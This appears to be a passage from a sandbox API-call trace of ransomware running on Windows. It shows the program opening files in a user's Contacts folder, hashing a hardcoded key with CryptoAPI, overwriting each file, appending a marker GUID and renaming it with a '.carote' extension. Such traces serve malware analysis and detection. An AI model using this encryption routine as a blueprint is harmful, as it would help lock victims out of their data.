[0111.870] SetLastError (dwErrCode=0x0) [0111.870] GetLastError () returned 0x0 [0111.870] SetLastError (dwErrCode=0x0) [0111.870] GetLastError () returned 0x0 [0111.870] SetLastError (dwErrCode=0x0) [0111.870] GetLastError () returned 0x0 [0111.870] SetLastError (dwErrCode=0x0) [0111.870] GetLastError () returned 0x0 [0111.870] SetLastError (dwErrCode=0x0) [0111.870] GetLastError () returned 0x0 [0111.870] SetLastError (dwErrCode=0x0) [0111.870] GetLastError () returned 0x0 [0111.870] SetLastError (dwErrCode=0x0) [0111.870] GetLastError () returned 0x0 [0111.870] SetLastError (dwErrCode=0x0) [0111.870] GetLastError () returned 0x0 [0111.870] SetLastError (dwErrCode=0x0) [0111.870] GetLastError () returned 0x0 [0111.870] SetLastError (dwErrCode=0x0) [0111.870] GetLastError () returned 0x0 [0111.870] SetLastError (dwErrCode=0x0) [0111.870] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.870] GetLastError () returned 0x0 [0111.870] SetLastError (dwErrCode=0x0) [0111.870] GetLastError () returned 0x0 [0111.870] SetLastError (dwErrCode=0x0) [0111.870] GetLastError () returned 0x0 [0111.871] SetLastError (dwErrCode=0x0) [0111.871] GetLastError () returned 0x0 [0111.871] SetLastError (dwErrCode=0x0) [0111.871] GetLastError () returned 0x0 [0111.871] SetLastError (dwErrCode=0x0) [0111.871] GetLastError () returned 0x0 [0111.871] SetLastError (dwErrCode=0x0) [0111.871] GetLastError () returned 0x0 [0111.871] SetLastError (dwErrCode=0x0) [0111.871] GetLastError () returned 0x0 [0111.871] SetLastError (dwErrCode=0x0) [0111.871] GetLastError () returned 0x0 [0111.871] SetLastError (dwErrCode=0x0) [0111.871] GetLastError () returned 0x0 [0111.871] SetLastError (dwErrCode=0x0) [0111.871] GetLastError () returned 0x0 [0111.871] SetLastError (dwErrCode=0x0) [0111.871] GetLastError () returned 0x0 [0111.871] SetLastError (dwErrCode=0x0) [0111.871] GetLastError () returned 0x0 [0111.871] SetLastError (dwErrCode=0x0) [0111.871] GetLastError () returned 0x0 [0111.871] SetLastError (dwErrCode=0x0) [0111.871] GetLastError () returned 0x0 [0111.871] SetLastError (dwErrCode=0x0) [0111.871] GetLastError () returned 0x0 [0111.871] SetLastError (dwErrCode=0x0) [0111.871] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0111.872] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.872] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a13260 | out: hHeap=0x5010000) returned 1 [0111.872] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0111.872] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0111.872] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0111.872] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x10b20) returned 0x7b182e0 [0111.873] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0111.873] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0111.873] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x10b19, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x10b19, lpOverlapped=0x0) returned 1 [0111.873] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0111.873] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10b1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.873] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0111.873] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14c20 [0111.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14c20, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0111.873] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b182e0 [0111.873] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0111.873] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0111.873] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0111.873] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0111.873] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0111.874] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0111.874] CloseHandle (hObject=0x61c) returned 1 [0111.875] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0111.875] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0111.875] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0111.875] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.carote")) returned 1 [0111.875] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0111.875] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.876] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ed018 | out: hHeap=0x5010000) returned 1 [0111.876] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0111.876] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.876] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ed018 [0111.876] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.876] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned=".contact" [0111.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0111.877] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=1171) returned 1 [0111.877] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0111.878] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x46d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.878] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0111.880] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0111.880] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0111.880] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.880] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x493, lpOverlapped=0x0) returned 1 [0111.880] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.880] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0111.880] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.880] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.880] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0111.881] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0111.881] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0111.881] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0111.881] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0111.881] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0111.881] GetLastError () returned 0x0 [0111.881] SetLastError (dwErrCode=0x0) [0111.881] GetLastError () returned 0x0 [0111.881] SetLastError (dwErrCode=0x0) [0111.881] GetLastError () returned 0x0 [0111.881] SetLastError (dwErrCode=0x0) [0111.881] GetLastError () returned 0x0 [0111.881] SetLastError (dwErrCode=0x0) [0111.881] GetLastError () returned 0x0 [0111.881] SetLastError (dwErrCode=0x0) [0111.881] GetLastError () returned 0x0 [0111.881] SetLastError (dwErrCode=0x0) [0111.881] GetLastError () returned 0x0 [0111.881] SetLastError (dwErrCode=0x0) [0111.881] GetLastError () returned 0x0 [0111.881] SetLastError (dwErrCode=0x0) [0111.881] GetLastError () returned 0x0 [0111.881] SetLastError (dwErrCode=0x0) [0111.881] GetLastError () returned 0x0 [0111.881] SetLastError (dwErrCode=0x0) [0111.881] GetLastError () returned 0x0 [0111.882] SetLastError (dwErrCode=0x0) [0111.882] GetLastError () returned 0x0 [0111.882] SetLastError (dwErrCode=0x0) [0111.882] GetLastError () returned 0x0 [0111.882] SetLastError (dwErrCode=0x0) [0111.882] GetLastError () returned 0x0 [0111.882] SetLastError (dwErrCode=0x0) [0111.882] GetLastError () returned 0x0 [0111.882] SetLastError (dwErrCode=0x0) [0111.882] GetLastError () returned 0x0 [0111.882] SetLastError (dwErrCode=0x0) [0111.882] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.882] GetLastError () returned 0x0 [0111.882] SetLastError (dwErrCode=0x0) [0111.882] GetLastError () returned 0x0 [0111.882] SetLastError (dwErrCode=0x0) [0111.882] GetLastError () returned 0x0 [0111.882] SetLastError (dwErrCode=0x0) [0111.882] GetLastError () returned 0x0 [0111.882] SetLastError (dwErrCode=0x0) [0111.882] GetLastError () returned 0x0 [0111.882] SetLastError (dwErrCode=0x0) [0111.882] GetLastError () returned 0x0 [0111.882] SetLastError (dwErrCode=0x0) [0111.882] GetLastError () returned 0x0 [0111.882] SetLastError (dwErrCode=0x0) [0111.882] GetLastError () returned 0x0 [0111.883] SetLastError (dwErrCode=0x0) [0111.883] GetLastError () returned 0x0 [0111.883] SetLastError (dwErrCode=0x0) [0111.883] GetLastError () returned 0x0 [0111.883] SetLastError (dwErrCode=0x0) [0111.883] GetLastError () returned 0x0 [0111.883] SetLastError (dwErrCode=0x0) [0111.883] GetLastError () returned 0x0 [0111.883] SetLastError (dwErrCode=0x0) [0111.883] GetLastError () returned 0x0 [0111.883] SetLastError (dwErrCode=0x0) [0111.883] GetLastError () returned 0x0 [0111.883] SetLastError (dwErrCode=0x0) [0111.883] GetLastError () returned 0x0 [0111.883] SetLastError (dwErrCode=0x0) [0111.883] GetLastError () returned 0x0 [0111.883] SetLastError (dwErrCode=0x0) [0111.883] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0111.883] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.883] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a13260 | out: hHeap=0x5010000) returned 1 [0111.883] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0111.883] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0111.883] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0111.883] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x490) returned 0x7b14c20 [0111.883] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0111.883] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0111.883] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14c20*, nNumberOfBytesToWrite=0x48e, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b14c20*, lpNumberOfBytesWritten=0x825fb24*=0x48e, lpOverlapped=0x0) returned 1 [0111.884] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0111.884] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x493, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.884] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0111.884] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14c20 [0111.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14c20, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0111.884] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b182e0 [0111.884] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0111.884] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0111.884] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0111.884] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0111.884] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0111.884] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0111.884] CloseHandle (hObject=0x61c) returned 1 [0111.885] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0111.885] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0111.885] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0111.885] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.carote")) returned 1 [0111.885] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0111.885] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.886] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ed018 | out: hHeap=0x5010000) returned 1 [0111.886] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0111.886] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.886] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ed018 [0111.886] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.886] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned=".contact" [0111.886] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0111.888] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=1177) returned 1 [0111.888] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0111.889] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x473, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.890] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0111.891] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0111.891] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0111.891] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.891] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x499, lpOverlapped=0x0) returned 1 [0111.891] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.891] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0111.891] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.891] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.891] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0111.892] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0111.892] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0111.892] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0111.892] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0111.892] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0111.892] GetLastError () returned 0x0 [0111.892] SetLastError (dwErrCode=0x0) [0111.892] GetLastError () returned 0x0 [0111.892] SetLastError (dwErrCode=0x0) [0111.892] GetLastError () returned 0x0 [0111.892] SetLastError (dwErrCode=0x0) [0111.892] GetLastError () returned 0x0 [0111.892] SetLastError (dwErrCode=0x0) [0111.892] GetLastError () returned 0x0 [0111.892] SetLastError (dwErrCode=0x0) [0111.892] GetLastError () returned 0x0 [0111.892] SetLastError (dwErrCode=0x0) [0111.892] GetLastError () returned 0x0 [0111.893] SetLastError (dwErrCode=0x0) [0111.893] GetLastError () returned 0x0 [0111.893] SetLastError (dwErrCode=0x0) [0111.893] GetLastError () returned 0x0 [0111.893] SetLastError (dwErrCode=0x0) [0111.893] GetLastError () returned 0x0 [0111.893] SetLastError (dwErrCode=0x0) [0111.893] GetLastError () returned 0x0 [0111.893] SetLastError (dwErrCode=0x0) [0111.893] GetLastError () returned 0x0 [0111.893] SetLastError (dwErrCode=0x0) [0111.893] GetLastError () returned 0x0 [0111.893] SetLastError (dwErrCode=0x0) [0111.893] GetLastError () returned 0x0 [0111.893] SetLastError (dwErrCode=0x0) [0111.893] GetLastError () returned 0x0 [0111.893] SetLastError (dwErrCode=0x0) [0111.893] GetLastError () returned 0x0 [0111.893] SetLastError (dwErrCode=0x0) [0111.893] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.893] GetLastError () returned 0x0 [0111.893] SetLastError (dwErrCode=0x0) [0111.893] GetLastError () returned 0x0 [0111.893] SetLastError (dwErrCode=0x0) [0111.893] GetLastError () returned 0x0 [0111.893] SetLastError (dwErrCode=0x0) [0111.893] GetLastError () returned 0x0 [0111.894] SetLastError (dwErrCode=0x0) [0111.894] GetLastError () returned 0x0 [0111.894] SetLastError (dwErrCode=0x0) [0111.894] GetLastError () returned 0x0 [0111.894] SetLastError (dwErrCode=0x0) [0111.894] GetLastError () returned 0x0 [0111.894] SetLastError (dwErrCode=0x0) [0111.894] GetLastError () returned 0x0 [0111.894] SetLastError (dwErrCode=0x0) [0111.894] GetLastError () returned 0x0 [0111.894] SetLastError (dwErrCode=0x0) [0111.894] GetLastError () returned 0x0 [0111.894] SetLastError (dwErrCode=0x0) [0111.894] GetLastError () returned 0x0 [0111.894] SetLastError (dwErrCode=0x0) [0111.894] GetLastError () returned 0x0 [0111.894] SetLastError (dwErrCode=0x0) [0111.894] GetLastError () returned 0x0 [0111.894] SetLastError (dwErrCode=0x0) [0111.894] GetLastError () returned 0x0 [0111.894] SetLastError (dwErrCode=0x0) [0111.894] GetLastError () returned 0x0 [0111.894] SetLastError (dwErrCode=0x0) [0111.894] GetLastError () returned 0x0 [0111.894] SetLastError (dwErrCode=0x0) [0111.894] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0111.894] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.894] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a13260 | out: hHeap=0x5010000) returned 1 [0111.894] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0111.895] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0111.895] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0111.895] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x4a0) returned 0x7b14c20 [0111.895] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0111.895] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0111.895] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14c20*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b14c20*, lpNumberOfBytesWritten=0x825fb24*=0x494, lpOverlapped=0x0) returned 1 [0111.895] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0111.895] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x499, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.895] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0111.895] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14c20 [0111.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14c20, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0111.895] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b182e0 [0111.895] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0111.895] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0111.895] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0111.895] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0111.895] lstrlenA 